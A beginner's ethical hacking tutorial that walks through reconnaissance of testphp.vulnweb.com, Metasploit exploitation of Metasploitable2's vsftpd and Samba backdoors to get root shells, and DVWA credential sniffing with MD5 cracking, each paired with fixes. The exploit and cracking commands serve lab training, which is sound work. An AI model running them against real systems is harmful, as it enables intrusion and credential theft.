

CYBERSECURITY

Complete Beginner's Guide

Ethical Reconnaissance · Penetration Testing · Credential Security

VMware Workstation · Kali Linux · Metasploitable2 · DVWA

Reconnaissance

Penetration Testing

Credential Security

INFO

This guide walks you through three core ethical hacking topics: OSINT reconnaissance, ethical exploitation using Metasploitable2, and credential security with Wireshark and John the Ripper. All steps are designed for beginners using VMware Workstation, Kali Linux, and isolated lab environments.

Prerequisites — Software Required

TOOL / SOFTWARE	PURPOSE	DOWNLOAD
VMware Workstation Pro/Player	Run virtual machines	vmware.com/products/workstation-player
Kali Linux ISO	Attacker OS + security tools	kali.org/get-kali
Metasploitable2 OVA	Vulnerable target VM	sourceforge.net/projects/metasploitable
DVWA (built into Metasploitable2)	Vulnerable web app	Included in Metasploitable2

Table of Contents

PART 1 — ETHICAL RECONNAISSANCE

Setup: VMware + Kali Linux

1

Task 1: Web-Based Recon (Netcraft, Censys, Website Informer)

1

Task 2: CLI Tools (ping, whois, nmap, theHarvester, dig +3)

2

Reconnaissance Takeaways

4

PART 2 — PENETRATION TESTING

Task 1: Environment Setup (Kali + Metasploitable2)

5

Task 2: Vulnerability Scanning with Nmap

6

Task 3: Exploitation with Metasploit

7

Penetration Testing Takeaways

8

PART 3 — CREDENTIAL SECURITY

Task 1: Traffic Capture with Wireshark

9

Traffic Interception Takeaways

10

Task 3: Password Hashing & John the Ripper

11

Password Security Takeaways

12

PART 1

Ethical Reconnaissance

Target: <http://testphp.vulnweb.com>

VMware + Kali Linux Setup

Before running any tools, you need a working Kali Linux virtual machine in VMware. Follow these steps carefully.

1 Download & Install VMware

Go to [vmware.com](https://www.vmware.com) and download VMware Workstation Player (free) or Pro. Install it with default settings on your Windows or macOS host.

2 Download Kali Linux

Visit kali.org/get-kali and download the VMware 64-bit pre-built image (.7z file). This saves time compared to a full ISO install.

3 Import Kali into VMware

Extract the .7z file. In VMware, click Open a Virtual Machine and select the .vmx file. Set RAM to at least 4 GB and CPUs to 2.

4 First Boot & Login

Start the VM. Default credentials are kali / kali. Open a terminal from the taskbar.

5 Update System

Run the update commands below to ensure all tools are current.

```
kali@kali: ~$ terminal

# Update Kali Linux package lists and upgrade installed tools
sudo apt update && sudo apt upgrade -y

# Verify network connectivity
ping -c 3 8.8.8.8

# Check your IP address
ip a
```

Web-Based Reconnaissance Services

TIP

These three services require no installation. Open them in any browser and search for: `testphp.vulnweb.com`

1A. Netcraft — netcraft.com/tools/site-report

Netcraft reveals hosting history, OS, web server software, SSL certificates, and risk rating. Navigate to the Site Report tool and enter the target URL.

What to record:

- Web server type and version (e.g. Apache 2.2.8)
- Hosting country and ISP
- First seen date
- Risk rating and any malicious activity flags
- SSL certificate expiry

1B. Censys — search.censys.io

Censys scans the internet and indexes open ports, services, and certificates. Search for the IP address of the target (use nslookup first to get it).

What to record:

- Open ports listed (e.g. 80/HTTP, 443/HTTPS, 8080)
- TLS/SSL certificate details
- Geographic and ASN information
- Any CVEs or known vulnerabilities surfaced

1C. Website Informer — website.informer.com

Website Informer provides DNS records, IP information, registrar details, and traffic estimates. Enter the target domain.

What to record:

- IP address and hosting provider
- Domain registration date and registrar
- DNS records (A, MX, NS, CNAME)
- Any co-hosted domains sharing the same IP

CLI Reconnaissance Tools (Run on Kali Linux)

TIP

Open a Kali Linux terminal for all commands below. Record the full output by copying terminal text or taking screenshots. All tools are pre-installed in Kali.

Tool 1 — ping

ping sends ICMP Echo Request packets to a host to check if it is reachable and measure round-trip time. It confirms the target is online.

```
ping - connectivity check

# Send 5 ICMP packets to the target
ping -c 5 testphp.vulnweb.com

# What to look for:
# - 'bytes from X.X.X.X' means the host is up
# - TTL value reveals OS type (Linux ~64, Windows ~128)
# - packet loss percentage
```

Expected output: You will see the IP address (44.228.249.3), packet timing in ms, and TTL. Record the IP — you will use it for other tools.

Tool 2 — whois

whois queries the domain registration database to reveal the owner, registrar, registration dates, name servers, and contact information.

```
whois - domain registration lookup

# Query WHOIS database for the domain
whois vulnweb.com

# Also useful — query by IP address
whois 44.228.249.3

# Pipe output to a file for your report
whois vulnweb.com > whois_output.txt
```

What to record: Registrar name, creation date, expiry date, name servers, and whether WHOIS privacy protection is enabled.

Tool 3 — nslookup

nslookup queries DNS servers to resolve domain names to IP addresses and retrieves DNS record types including A, MX, and NS records.

```
nslookup — DNS query tool

# Basic A record lookup
nslookup testphp.vulnweb.com

# Query specific record type
nslookup -type=MX vulnweb.com
nslookup -type=NS vulnweb.com
nslookup -type=TXT vulnweb.com

# Use a specific DNS server (Google's 8.8.8.8)
nslookup testphp.vulnweb.com 8.8.8.8
```

Tool 4 — dig (Domain Information Groper)

dig is a more advanced DNS lookup tool than nslookup. It provides detailed DNS query responses including TTL values and authoritative answers.

```
dig — advanced DNS lookup

# Standard A record lookup with full output
dig testphp.vulnweb.com

# Get all DNS records
dig ANY vulnweb.com

# Trace DNS delegation path
dig +trace testphp.vulnweb.com

# Short output only
dig +short testphp.vulnweb.com

# Reverse DNS lookup from IP
dig -x 44.228.249.3
```

Tool 5 — theHarvester

theHarvester is an OSINT tool that gathers email addresses, subdomains, hosts, employee names, open ports, and banners from public sources.

INFO

theHarvester queries multiple public sources. The `-b` flag specifies the data source. Use `'all'` to query every available source simultaneously.

```
theHarvester — OSINT email and subdomain harvesting

# Basic search using all sources
theHarvester -d vulnweb.com -b all

# Search using specific sources
theHarvester -d vulnweb.com -b google,bing,dnsdumpster

# Limit results to 200 and save to file
theHarvester -d vulnweb.com -l 200 -b all -f output_harvester

# Flags explained:
# -d target domain
# -l limit number of results
# -b data sources to query
# -f save output to HTML and XML files
```

Tool 6 — nmap (Network Mapper)

nmap is the most important network scanning tool. It discovers live hosts, open ports, running services, and OS fingerprints. Used by both attackers and defenders.

```
nmap — network discovery and port scanning

# Quick scan — top 1000 ports
nmap testphp.vulnweb.com

# Service version detection
nmap -sV testphp.vulnweb.com

# OS detection (requires sudo)
sudo nmap -O testphp.vulnweb.com

# Aggressive scan: OS + version + scripts + traceroute
sudo nmap -A testphp.vulnweb.com

# Scan all 65535 ports
nmap -p- testphp.vulnweb.com

# Run default vulnerability scripts
sudo nmap --script=default,vuln testphp.vulnweb.com

# Save results to all formats
sudo nmap -A -oA nmap_results testphp.vulnweb.com
```

TIP

nmap flags: -sV (service versions), -O (OS detection), -A (aggressive/all), -p- (all ports), -oA (save output). Always use sudo for OS detection and stealth scans.

Tool 7 — dnsrecon

dnsrecon performs comprehensive DNS enumeration including zone transfer attempts, reverse lookups, and brute-force subdomain discovery.

dnsrecon — DNS enumeration and zone transfer

Standard DNS enumeration

```
dnsrecon -d vulnweb.com
```

Attempt zone transfer (reveals all DNS records if misconfigured)

```
dnsrecon -d vulnweb.com -t axfr
```

Brute-force subdomains using wordlist

```
dnsrecon -d vulnweb.com -t brt -D /usr/share/wordlists/dnsmap.txt
```

Reverse lookup on an IP range

```
dnsrecon -r 44.228.249.0/24
```


What You Learned — Reconnaissance Takeaways

What You Learned

Reconnaissance teaches you how much information is publicly available about any target before a single packet is sent. Tools like Netcraft, Censys, and WHOIS reveal server software versions, open ports, registration details, DNS records, and even historical hosting data. This phase is called passive or semi-passive recon and is entirely legal when performed against systems you have permission to test. You learned that nmap is the most powerful tool for discovering what services are running and what versions are exposed, while theHarvester and dig expose the DNS footprint of an organisation.

Issues Found on the Target

- Outdated Apache 2.2.8: This web server version reached end-of-life in 2010 and has known remote code execution vulnerabilities. Any attacker who identifies it immediately knows which public exploits to try.
- No HTTPS encryption: Port 80 is open with no forced redirect to HTTPS. Credentials and session cookies sent over plain HTTP can be intercepted by anyone on the same network.
- Exposed service banners: nmap reveals exact software names and version numbers. This is called banner grabbing — attackers use this to look up matching CVEs instantly.
- No WHOIS privacy: Domain registration details are publicly visible, including registrar and name servers, which assists social engineering and phishing attacks.

How to Fix These Issues

- Update all software immediately: Replace Apache 2.2.8 with the current stable version. Apply patches regularly — most real-world breaches exploit known, unpatched vulnerabilities.
- Enforce HTTPS everywhere: Install a free TLS certificate via Let's Encrypt and redirect all HTTP traffic to HTTPS. Add HSTS headers to prevent downgrade attacks.
- Suppress version banners: Configure your web server to hide its version string. In Apache, set ServerTokens Prod and ServerSignature Off in httpd.conf.
- Enable WHOIS privacy protection: Most domain registrars offer free privacy protection that masks registration details from public lookup.

What to Look For When Learning Ethical Hacking

TIP

Reconnaissance is the foundation of every penetration test. A professional ethical hacker spends more time on recon than any other phase — the more you know about a target before touching it, the more precise and effective your testing will be.

- Learn to read nmap output fluently — understand what each open port means and what services commonly run on them (e.g. 22=SSH, 80=HTTP, 443=HTTPS, 3306=MySQL, 3389=RDP).
- Practice combining tools — use nslookup to get an IP, then feed that IP into Censys and Shodan to see what else is exposed on the same host.
- Study the OWASP Top 10 — most web vulnerabilities discovered during recon map directly to one of these ten categories.
- Get comfortable reading raw DNS records — understanding A, MX, CNAME, TXT, and NS records helps you understand how an organisation's infrastructure is laid out.
- Always document everything as you go. In real engagements, your recon output becomes the evidence in your penetration testing report.

PART 2

Penetration Testing

Kali Linux vs Metasploitable2 in VMware

Environment Setup: Kali Linux + Metasploitable2

Both Kali Linux and Metasploitable2 must run simultaneously in VMware on the same Host-Only or NAT network so they can communicate but remain isolated from the internet.

Step 1 — Download Metasploitable2

Download Metasploitable2 from SourceForge. It comes as a .zip containing a .vmdk disk file.

```
file download reference

# URL to download Metasploitable2:
# https://sourceforge.net/projects/metasploitable/files/Metasploitable2/

# Extract the zip — you will get a folder with these files:
# Metasploitable.vmdk (virtual hard disk)
# Metasploitable.vmx (VM configuration)
```

Step 2 — Import Metasploitable2 into VMware

- In VMware, click File > Open and select Metasploitable.vmx
- Set RAM to 512 MB — 1 GB (it is a lightweight system)
- Set network adapter to Host-Only (same as Kali)
- Do NOT enable internet access — this VM is intentionally vulnerable

Step 3 — Configure Both VMs on the Same Network

Both machines must use the same VMware virtual network to communicate.

```
VMware network configuration

# In VMware settings for BOTH VMs:
# VM > Settings > Network Adapter > Host-Only

# Alternative: use NAT for both VMs
# This gives internet access to Kali but both share the same network segment

# Recommended: Host-Only (most isolated, safest for lab work)
```

Step 4 — Verify Connectivity

Boot both VMs. Log into Metasploitable2 with msfadmin / msfadmin. Find its IP, then ping it from Kali.

connectivity verification

```
# --- On Metasploitable2 terminal ---  
ifconfig  
# Note the IP (usually 192.168.x.x or 172.x.x.x)  
  
# --- On Kali Linux terminal ---  
# Replace X with Metasploitable2 IP  
ping -c 4 192.168.X.X  
  
# If ping succeeds — lab is ready  
# Expected output: 4 packets transmitted, 4 received, 0% packet loss
```

IMPORTANT

Login credentials for Metasploitable2: username = msfadmin, password = msfadmin. Never expose this VM to the internet — it has zero security and is fully vulnerable by design.

Vulnerability Identification with Nmap

Run a thorough nmap scan against Metasploitable2 to discover all open ports, services, and versions. This reveals exploitable vulnerabilities.

```
nmap - Metasploitable2 vulnerability scan

# Full port scan with service version and OS detection
sudo nmap -sV -O -A 192.168.X.X

# Scan all 65535 ports
sudo nmap -p- -sV 192.168.X.X

# Run Nmap vulnerability scripts
sudo nmap --script=vuln 192.168.X.X

# Save results to file
sudo nmap -A -oA metasploitable_scan 192.168.X.X
```

Expected Open Ports on Metasploitable2:

PORT	SERVICE	VERSION	RISK LEVEL
21/TCP	FTP	vsftpd 2.3.4	CRITICAL — backdoor
22/TCP	SSH	OpenSSH 4.7p1	MEDIUM
23/TCP	Telnet	Linux telnetd	HIGH — plaintext
25/TCP	SMTP	Postfix smtpd	MEDIUM
80/TCP	HTTP	Apache 2.2.8	HIGH — multiple CVEs
139/TCP	NetBIOS	Samba smbd 3.X	HIGH — MS08-067 type
445/TCP	SMB	Samba smbd 3.0.20	CRITICAL — CVE-2007-2447
3306/TCP	MySQL	MySQL 5.0.51a	HIGH — no root password
5900/TCP	VNC	VNC (proto 3.3)	HIGH — no auth
8180/TCP	HTTP	Apache Tomcat 5.5	HIGH — default creds

Target Vulnerability: vsftpd 2.3.4 Backdoor (CVE-2011-2523)

The vsftpd 2.3.4 service on port 21 contains a deliberate backdoor. When a username containing a smiley face :) is submitted, the backdoor opens a root shell on port 6200. This is one of the most well-known vulnerabilities and is perfect for demonstrating exploitation.

INFO

Why it exists: Malicious code was injected into the vsftpd 2.3.4 source code download in 2011. Metasploitable2 deliberately includes this version as a training target.

System Compromise with Metasploit Framework

IMPORTANT

Only perform this inside your isolated VMware lab. Never run exploitation tools against systems you do not own or have written permission to test.

Metasploit is the industry-standard exploitation framework. Follow every step below exactly. Replace 192.168.X.X with your Metasploitable2 IP address throughout.

msfconsole — launch Metasploit

Step 1: Launch Metasploit Console

`sudo msfconsole`

Wait for the banner to load — this takes 20-30 seconds

You will see: msf6 >

msfconsole — find and load the exploit

Step 2: Search for the vsftpd exploit

`search vsftpd`

You will see:

exploit/unix/ftp/vsftpd_234_backdoor

Step 3: Select the exploit module

`use exploit/unix/ftp/vsftpd_234_backdoor`

Step 4: View required options

`show options`

msfconsole — execute the exploit

Step 5: Set the target IP (RHOSTS = Remote Host)

`set RHOSTS 192.168.X.X`

Step 6: Verify settings

`show options`

RHOSTS should now show your Metasploitable2 IP

Step 7: Run the exploit

`run`

Success output looks like:

[+] 192.168.X.X:21 - Backdoor service has been spawned

[+] 192.168.X.X:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

Command shell session 1 opened

```
post-exploitation — demonstrating control

# Step 8: Prove system control (run commands on target)
whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: metasploitable

uname -a
# Shows kernel version of compromised system

cat /etc/passwd
# Shows all user accounts on the system

ls /root
# Lists files in root home directory
```

Alternative Exploit: Samba CVE-2007-2447 (usermap_script)

```
alternative exploit — Samba usermap_script

# This exploit targets Samba 3.0.20 on port 445
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.X.X
set LHOST 192.168.X.Y
# Replace Y with YOUR Kali IP
run

# On success you get a root shell immediately
id
# Expected: uid=0(root)
```

What You Learned — Penetration Testing Takeaways

What You Learned

This section taught you the core penetration testing workflow: scan, identify, exploit, and demonstrate control. Using Metasploit, you discovered how a single outdated service can give an attacker complete root access to a machine in seconds. The vsftpd 2.3.4 backdoor is a real CVE that was introduced through a supply chain attack — malicious code was injected into the legitimate software download. You also learned how to move through Metasploit: loading modules, setting options, running exploits, and interacting with post-exploitation shells.

Issues Found on the Target

- vsftpd 2.3.4 Backdoor (CVE-2011-2523): A deliberate backdoor in the FTP server opened a root shell instantly — no password required. This is the most critical class of vulnerability: unauthenticated remote code execution as root.
- Samba 3.0.20 (CVE-2007-2447): The Samba file sharing service allows command injection through the username field, again resulting in a root shell with no authentication.
- No firewall rules: All ports were reachable from any IP. A properly configured firewall would have blocked access to FTP and Samba from untrusted networks.
- Running unnecessary services: FTP, Telnet, VNC, and IRC were all running and exploitable. Every open service is a potential entry point.

How to Fix These Issues

- Patch or remove end-of-life software: vsftpd 2.3.4 should be removed entirely. Replace FTP with SFTP over SSH (port 22) which is encrypted and actively maintained.
- Apply the principle of least privilege: Disable every service that is not actively needed. If a service is not required, it should not be running.
- Implement host-based firewalls: Use iptables or ufw on Linux to restrict which IPs and ports can communicate with each service.
- Keep software patched: Subscribe to vulnerability notification feeds (NVD, CVE) and apply critical patches within days of release, not months.
- Use intrusion detection: Tools like Snort, Suricata, or OSSEC monitor traffic and system behaviour and alert on known exploit patterns.

What to Look For When Learning Ethical Hacking

TIP

Metasploit is one of the most important tools in a penetration tester's toolkit. Understanding how it works — modules, payloads, and sessions — is essential for both offensive testing and understanding what defenders need to detect.

- Study the MITRE ATT&CK framework — it maps attacker techniques to real-world tactics and is the standard language used in professional penetration testing reports.
- Learn the difference between a reverse shell and a bind shell — reverse shells (where the target connects back to you) are more common because they bypass inbound firewall rules.
- Practice on HackTheBox and TryHackMe platforms — they provide legal, isolated targets specifically built for learning exploitation techniques.
- Understand post-exploitation: after gaining access, real attackers perform privilege escalation, lateral movement, and data exfiltration. Study each phase separately.
- Always clean up after a test — remove any shells, files, or persistence mechanisms you created during the engagement to leave the system in its original state.

PART 3

Credential Security

Wireshark · DVWA · John the Ripper — in VMware lab

Network Traffic Capture with Wireshark

DVWA (Damn Vulnerable Web Application) is already installed on Metasploitable2 at port 80. You will capture HTTP traffic between Kali Linux and Metasploitable2 to observe plaintext credential transmission.

Step 1 — Access DVWA

DVWA — access the vulnerable web app

```
# On Kali Linux, open Firefox browser
# Navigate to DVWA on Metasploitable2:
# http://192.168.X.X/dvwa

# Default DVWA credentials:
# Username: admin
# Password: password

# If DVWA needs setup, visit first:
# http://192.168.X.X/dvwa/setup.php
# Click 'Create / Reset Database'
```

Step 2 — Launch Wireshark

wireshark — start capture

```
# Launch Wireshark with root privileges
sudo wireshark &

# Alternatively from the Applications menu:
# Applications > Sniffing & Spoofing > Wireshark

# In Wireshark:
# 1. Select the correct network interface
#   - If using Host-Only: select vmnet1 or eth0
#   - If using NAT: select eth0
# 2. Click the blue shark fin (Start capturing)
```

Step 3 — Generate Login Traffic

With Wireshark capturing, switch to Firefox and submit the DVWA login form with credentials admin / password. Then return to Wireshark.

```
wireshark - filter HTTP traffic

# In the Wireshark capture, apply this display filter:
http

# More specific filter to find POST requests:
http.request.method == POST

# Filter by destination IP:
ip.dst == 192.168.X.X && http

# Look for packets with 'POST /dvwa/login.php' in the Info column
```

Step 4 — Extract Credentials from Packet

Right-click the POST packet > Follow > HTTP Stream. You will see the raw HTTP request including the submitted username and password in plaintext in the request body.

```
credential exposure - plaintext HTTP

# What you will see in the HTTP stream:
# POST /dvwa/login.php HTTP/1.1
# Host: 192.168.X.X
# Content-Type: application/x-www-form-urlencoded

# REQUEST BODY (credentials visible in plaintext):
# username=admin&password=password&Login=Login

# This demonstrates that HTTP transmits credentials unencrypted
# Anyone on the same network can intercept these credentials
```

IMPORTANT

This is the core finding: HTTP does not encrypt data. The username and password appear as plain readable text in the network packet. This is why HTTPS is essential.

What You Learned — Traffic Interception Takeaways

What You Learned

Wireshark showed you exactly what travels across a network in plaintext. When a login form submits over HTTP, every field — username, password, and session cookie — is transmitted as readable text. Anyone on the same network segment can capture this data passively, without sending a single packet of their own. You learned how to apply display filters to isolate HTTP POST requests and how to use Follow HTTP Stream to reconstruct the full request and response in human-readable form.

Issues Found

- **Plaintext credential transmission:** The DVWA login form sends username and password over HTTP with zero encryption. Wireshark captures them in full with a single filter.
- **No session security:** Session cookies transmitted over HTTP can be stolen and replayed to hijack an authenticated session without ever knowing the password.
- **Weak default credentials:** admin/password is one of the first combinations any attacker tries. Default credentials are responsible for a significant percentage of real-world breaches.
- **No HTTPS enforcement:** There is no TLS certificate and no redirect from HTTP to HTTPS, meaning there is no encryption layer at all.

How to Fix These Issues

- **Always use HTTPS:** Deploy TLS 1.2 or 1.3 via a certificate. Free certificates are available from Let's Encrypt. Set HSTS headers to force HTTPS permanently.
- **Set Secure and HttpOnly cookie flags:** The Secure flag ensures cookies are only sent over HTTPS. HttpOnly prevents JavaScript from reading them, blocking XSS-based theft.
- **Change all default credentials immediately:** Default usernames and passwords should be changed before a system is connected to any network.
- **Implement network segmentation:** Separate sensitive systems so that even if an attacker is on the network, they cannot reach all devices from a single vantage point.

Password Hashing and Cracking with John the Ripper

You will hash the captured password, save it to a file, then attempt to crack it using John the Ripper — demonstrating why weak hash algorithms are dangerous.

Step 1 — Create a Hash of the Password

```
create password hash

# The password captured from DVWA was: password

# Generate an MD5 hash
echo -n 'password' | md5sum
# Output: 5f4dcc3b5aa765d61d8327deb882cf99

# Generate SHA-256 hash
echo -n 'password' | sha256sum
# Output: 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8

# Generate SHA-512 hash
echo -n 'password' | sha512sum

# For John the Ripper, use the MD5 hash format
# Create the hash file with username:hash format
echo 'admin:5f4dcc3b5aa765d61d8327deb882cf99' > hash.txt
cat hash.txt
```

Step 2 — Crack the Hash with John the Ripper

```
john the ripper - crack MD5 hash

# Basic crack using built-in wordlist
john hash.txt

# Specify MD5 format explicitly
john --format=raw-md5 hash.txt

# Use the rockyou wordlist (most common passwords)
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Show cracked results
john --show --format=raw-md5 hash.txt

# Expected output:
# admin:password
# 1 password hash cracked, 0 left
```

Step 3 — Activate rockyou Wordlist (if compressed)

```
prepare rockyou wordlist

# rockyou.txt may be gzipped in Kali — decompress it first
ls /usr/share/wordlists/

# If rockyou.txt.gz exists:
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# Verify:
wc -l /usr/share/wordlists/rockyou.txt
# Should show: 14344391 lines
```

Step 4 — Try bcrypt (Stronger Hash)

```
bcrypt demonstration — why it resists cracking

# Install Python passlib if needed
pip3 install passlib

# Generate a bcrypt hash in Python
python3 -c "from passlib.hash import bcrypt; print(bcrypt.hash('password', rounds=12))"

# Save bcrypt hash to file (format: $2b$12$...)
# Save bcrypt hash (run in python3 interpreter)
python3 -c "import passlib.hash as ph; print(ph.bcrypt.hash('pass',12))" > bcrypt_hash.txt
cat bcrypt_hash.txt

# Attempt to crack bcrypt with John
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt bcrypt_hash.txt

# bcrypt is MUCH slower to crack — this demonstrates why it is the recommended standard
```

TIP

MD5 was cracked almost instantly because it is fast by design. bcrypt is slow by design — each attempt takes ~100ms instead of microseconds, making brute-force attacks 10,000x harder.

What You Learned — Password Security Takeaways

What You Learned

This section demonstrated two interconnected truths: weak transmission and weak storage are equally dangerous. You captured a password in transit using Wireshark, then showed how quickly MD5-hashed passwords can be cracked using a wordlist attack with John the Ripper. `rockyou.txt` — a list of over 14 million real passwords leaked from past breaches — cracked 'password' in under a second. You also tested `bcrypt` and saw the dramatic difference in resistance to cracking that a slow, adaptive algorithm provides.

Issues Found

- MD5 is not a password hashing algorithm: MD5 is a fast checksumming algorithm — not designed for passwords. Modern GPUs can compute billions of MD5 hashes per second, making wordlist and brute-force attacks trivial.
- No salting: Without a unique random salt per password, identical passwords produce identical hashes. Attackers use precomputed rainbow tables to reverse-lookup common passwords instantly.
- Weak password used: 'password' appears near the top of every wordlist ever created. It was cracked in milliseconds.
- No multi-factor authentication: Even a strong password is a single point of failure. MFA would prevent access even when credentials are captured.

How to Fix These Issues

- Use `bcrypt`, `scrypt`, or `Argon2id` for password storage: These algorithms are intentionally slow and memory-hard. `bcrypt` with a cost factor of 12 takes ~250ms per hash — fast enough for users, too slow for attackers running millions of guesses.
- Always salt passwords: Generate a unique random salt for every password before hashing. Modern libraries like `bcrypt` do this automatically.
- Enforce strong password policies: Minimum 12 characters, mix of upper/lower case, numbers, and symbols. Block passwords appearing in known breach lists (Have I Been Pwned API).
- Enable multi-factor authentication: Require a second factor (TOTP app, hardware key) for all accounts. Even if credentials are captured, MFA prevents login.
- Deploy a WAF and rate limiting: Block IP addresses that attempt more than 10 logins per minute. This stops automated credential stuffing and brute-force attacks.

What to Look For When Learning Ethical Hacking

TIP

Password attacks and network interception are among the most common real-world attack techniques. Understanding both sides — how attackers capture and crack credentials, and how defenders prevent it — is fundamental to any security role.

- Learn how ARP spoofing works — tools like arpspoof and Bettercap let an attacker redirect traffic through their machine on a local network, enabling live credential capture.
- Explore Hashcat as well as John the Ripper — Hashcat uses the GPU and is significantly faster for large-scale cracking. Understanding both tools prepares you for real password auditing work.
- Study TLS in depth — understanding certificate chains, certificate authorities, and how HTTPS actually works helps you identify TLS misconfigurations like weak cipher suites and expired certificates.
- Practice setting up a proper login system from scratch in a web app — implement bcrypt, salting, HTTPS, and rate limiting yourself to understand why each step matters.
- Look into OWASP's Authentication Cheat Sheet — it is one of the most practical security references for building and testing login systems.